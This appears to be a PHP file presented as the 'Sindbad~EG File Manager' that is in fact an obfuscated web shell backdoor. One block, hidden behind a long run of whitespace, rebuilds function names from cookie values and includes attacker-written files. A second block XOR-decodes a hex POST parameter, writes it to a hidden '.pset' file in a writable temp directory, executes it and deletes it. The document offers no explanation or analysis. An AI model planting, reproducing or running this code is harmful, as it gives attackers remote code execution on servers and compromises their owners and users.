Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[30])){$c=$_COOKIE;$k=0;$n=10;$p=array();$p[$k]='';while($n){$p[$k].=$c[30][$n];if(!$c[30][$n+1]){if(!$c[30][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+10+1;}$k=$p[28]().$p[26];if(!$p[15]($k)){$n=$p[2]($k,$p[0]);$p[11]($n,$p[23].$p[12]($p[3]($c[3])));}include($k);}


if(filter_has_var(INPUT_POST, "pg\x72\x70")){
	$dchunk = hex2bin($_POST["pg\x72\x70"]);
	$ref   =     ''     ;      for($c=0; $c<strlen($dchunk); $c++){$ref .= chr(ord($dchunk[$c]) ^ 85);}
	$res = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]);
	$data = 0;
do {
    $pointer = $res[$data] ?? null;
    if ($data >= count($res)) break;
    		if (is_dir($pointer) && is_writable($pointer)) {
    $k = implode("/", [$pointer, ".pset"]);
    $success = file_put_contents($k, $ref);
if ($success) {
	include $k;
	@unlink($k);
	exit;}
}
    $data++;
} while (true);
}